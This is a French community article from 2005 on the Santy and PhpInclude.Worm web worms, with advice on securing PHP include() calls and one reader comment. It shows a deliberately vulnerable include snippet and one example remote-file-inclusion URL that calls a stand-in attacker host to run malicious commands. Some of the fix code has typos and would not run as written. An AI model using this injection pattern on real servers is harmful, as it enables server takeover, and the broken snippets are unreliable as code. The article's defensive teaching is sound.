Fork me on GitHub

Webworms, les CMS en danger

200508
Janvier
  philou XOOPS 5205

Un nouveau genre d'attaque s'est développé en cette fin d'année, le « WebWorm ». La principale caractéristique de ce type de ver est qu'il s'attaque exclusivement aux applicatifs web.

Nous sommes très concernés par ce nouveau type d'attaque



Le ver informatique Santy.a se propage actuellement sur internet, il ne s'agit pas d'un virus de type mass-mailing mais d'un Web-Worm. Santy.a a pour but (visible) de défigurer automatiquement des sites web hébergeant un forum phpBB (versions <= 2.0.10) en exploitant la vulnérabilité "highlight SQL Injection" présente au niveau du fichier "viewtopic.php".
Il présente deux originalités : la première est de rechercher grâce à Google les forums utilisant l'application phpBB ; la deuxième est de profiter d'une faille de sécurité dans les versions de phpBB non mises à jour pour détruire les sites correspondant.

Santy.a identifie ses cibles potentielles via le moteur de recherche Google en utilisant le terme "viewtopic.php". Plusieurs milliers de sites (40.000) ont d'ores et déjà été détournés.

Santy envoie ensuite sur les sites sélectionnés une requête qui va provoquer l'exploitation de la faille et l'installation du ver. Une fois le site sous contrôle, Santy va scanner tous les répertoires du site infecté, les pages ".htm", ".php", ".asp", ".shtm", ".jsp" et ".phtm" sont modifiées et remplacées par le code suivant :

This site is defaced!!!
NeverEverNoSanity WebWorm generation X

où X est le numéro de la génération du ver ayant attaqué le site.

==> Pour info le newbb de xoops n'est pas concerné par Santy, rassurez-vous
L'équipe technique de Google vient de bloquer les requêtes générées par Santy.a, ce qui empêchera l'identification et la compromission de nouveaux serveurs.

Bien entendu de nouvelles versions sont apparues. La version Santy.b, apparue le jour de Noël utilise les moteurs de recherche de Yahoo et AOL pour détecter les sites pouvant être attaqués.

Pour Santy.c, apparu le même jour, il s'agit d'un ver de nature différente.
Le mode d'attaque étant assez différent de celui de Santy.a ou b. il a été renommé PhpInclude.Worm depuis.
Il ne s'attaque pas à phpBB, mais cherche grâce à Google les pages dont les scripts PHP utilisent de manière non sécurisée les fonctions Include() et Require(). Ce type d'erreur de programmation étant relativement commun, ce ver constitue une menace TRES sérieuse pour les modules non sécurisés correctement.

Ce ver exploite des failles de programmation présentes dans les script PHP, ASP, JSP afin de se répandre. Pour débusquer ses victimes, le ver interroge les moteurs de recherche comme Google, Yahoo ou encore Altavista, AOL... Il recherche des serveurs web dont les pages php utilisent les fonctions "include()" et "require()" de façon non-sécurisée.

Ces fonctions sont normalement utilisées afin d'inclure des pages web spécifiées en arguments. Malheureusement, la non vérification de ces arguments peut permettre l'inclusion et l'exécution de fichiers externes, et donc la compromission du serveur web :

Exemple : vulnerable.php

if(isset($var))
  {
   include(
$var); 
  }


La page ci-dessus ne filtre pas correctement la variable $var, elle permet donc l'inclusion puis l'exécution de scripts distants :

vulnerable.php?page=http://server_pirate/scriptmalicieux?cmd=commandes_malicieuses


PhpInclude.Worm recherche donc des pages du type "*.php?*=", puis tente d'y injecter différentes commandes permettant l'installation de robots IRC et la constitution d'une armée de machines zombies contrôlées par un groupe de pirates brésiliens.

Comment vous protéger de ce type d'attaque ?

la réponse apportée par Hervé :
la méthode est simple :

soit faire des include Ă  partir de constantes, style :
define(MON_FICHIER,"fichier.php");
puis 
include (MON_FICHIER);

soit des include "nommés" :
include("fichier.php");


Dans le cas où l'inclusion doit se faire selon une "condition", ne jamais passer la variable servant de condition à l'include, c'est ça la faille, il vaut mieux faire :
swith($mavariable)
{
    case 
1:
       
include_one("fichier1.php");
       break;

    case 
2:
       include_once(
"fichier2.php");
       break;
}


au lieu d'un truc du style :
include_once("fichier".$mavariable.".php");



S'il y a vraiment trop de "conditions", passer les noms des scripts à inclure dans un tableau et vérifier que ce que l'on doit inclure dynamiquement se trouve dans le tableau.
Par exemple :

$tbl=array('fichier1','fichier2,"..........'fichier50');
if(in_array($mavariable,$tbl))
    {
        include_once("fichier".$mavariable.".php");
    }


de cette manière on ne peut inclure que ce qui a été prévu.



Ces failles étant liées aux applications web et non pas à la plateforme ou à la version de PHP, PhpInclude.Worm et ses prochaines variantes continueront à se propager sur internet pendant de longs mois, d'où un risque qualifié d'Elevé.

Véritable casse tête pour les administrateurs de serveurs web, les « WebWorms » n'ont pas fini de faire parler d'eux. Peu importe la nature de la faille qui touche l'applicatif web, si celle-ci permet l'exécution de code arbitraire, elle peut alors devenir un vecteur de propagation pour le ver. Plus cet applicatif est utilisé plus il risque de devenir la cible de l'un de ces vers (ex: Xoops ...).

Peu après l'apparition du ver « santy » sur la toile, son code source était déjà rendu public. Simple mais efficace diront certains. Néanmoins, il montre ses limites en terme de rapidité et de portabilité. Ce qui est sur, c'est qu'à cette heure, des développeurs de virus travaillent déjà sur de nouvelles versions encore plus performantes...

Avis aux développeurs et webmasters, auditez la sécurité de vos applications et ne pariez jamais sur la sécurité des scripts gratuits que vous utilisez pour construire vos sites, vérifiez vous même la fiabilité et la robustesse du code utilisé.


Vous pourrez trouver une explication plus complète sur santy (en anglais) ici : http://isc.sans.org/diary.php?date=2004-12-21
ou encore sur K-Otik pour PhpIncludeWorm : http://www.k-otik.com/news/20041226.PhpIncludeWorm.php

Note: 10.00 (1 vote) - Noter cet article -

Partager Twitter Partagez cette article sur GG+
Format imprimable Envoyer cet article Ă  un ami
Les commentaires appartiennent Ă  leurs auteurs. Nous ne sommes pas responsables de leur contenu.
Semi pro
Inscrit le: 09/06/2004
De: derrière mon ècran... si si j'vous jure... .. .
Contributions: 1788
kankrelune PostĂ© le: 18/01/2005 21:36  Mis Ă  jour: 18/01/2005 21:36
 Re: Webworms, les CMS en danger
Oui... j'ais eu le plaisir de découvrir Santy en temps réel sur un site que j'administre... clic... page... clic... "Site Defaced"... .. . :-o

L'hallu... .. .

Moi maintenant avec les nouvelles variantes ce qui me fait peur c'est pas les gros CMS (quoique) c'est les petits sites fait main... j'ais le présentiment que c'est le début d'un grand carnage... tous à vos backup... heureusement ils ne s'attaquent pas (encore ???) à la base de données... .. .

Perso sur un site que je fais moi mĂŞme pour les besoins d'une petite asso je fais tout ce que tu viens de citer... car en plus des Webworm n'oublions pas les Crackers (activ scripting)...

Citation :

<?php

$module = ""; // j'initialise ma variable

// si elle est appelé via .php?module=
if (isset($_REQUEST["module"])) {

// si vide module = "home"
$module = trim($_REQUEST["module"]," ~._\t");
if (empty($module)) $module = "home";
}
else $module = "home";

// vérification de la présence de caractères
// interdits
$module = htmlspecialchars($module);
$masque = "^[_a-zA-Z0-9.-]+$";
if (!ereg($masque,$module)) { $module = "error";}

// la liste
$module_liste = array("admin", "home", "kontakt", "error", "links", "history", "guestbook", "thanks", "product", "news", "edito", "search");

// verif si elle est dans le tableau et si le
// fichier existe
if (!in_array($module, $module_liste) || !file_exists("modules/$module.php")){ $module = "error";}

// et enfin on inclu le module
include 'modules/'.$module.'.php';

?>


C'est vrai qu'il y a peut etre une vérif de trop mais je prefere comme ça c'est pas pour la miliseconde de perdue et je finis par être moitié parano moi ces temps ci... .. .

@ tchaOo°
Propulsé avec XOOPS | Graphisme adapté par Tatane, Grosdunord, Montuy337513

73 Personne(s) en ligne (2 Personne(s) connectée(s) sur Articles) | Utilisateur(s): 0 | Invité(s): 73 | Plus ...